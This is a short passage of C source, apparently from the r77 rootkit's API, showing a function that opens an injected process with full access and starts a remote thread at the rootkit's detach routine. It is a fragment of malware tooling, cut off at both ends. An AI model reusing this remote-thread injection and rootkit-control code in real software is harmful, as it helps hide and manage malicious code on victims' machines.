Function DetachInjectedProcess

r77api/r77process.c:170–192

	return result;
}
BOOL DetachInjectedProcess(PR77_PROCESS r77Process)
{
	BOOL result = FALSE;

	if (r77Process->Signature == R77_SIGNATURE)
	{
		HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, FALSE, r77Process->ProcessId);
		if (process)
		{
			// R77_PROCESS.DetachAddress is a function pointer to DetachRootkit()
			HANDLE thread = NULL;
			if (NT_SUCCESS(R77_NtCreateThreadEx(&thread, 0x1fffff, NULL, process, (LPVOID)r77Process->DetachAddress, NULL, 0, 0, 0, 0, NULL)))
			{
				result = TRUE;
				CloseHandle(thread);
			}

			CloseHandle(process);
		}
	}

	return result;
}
BOOL DetachInjectedProcessById(DWORD processId)
{
	BOOL result = FALSE;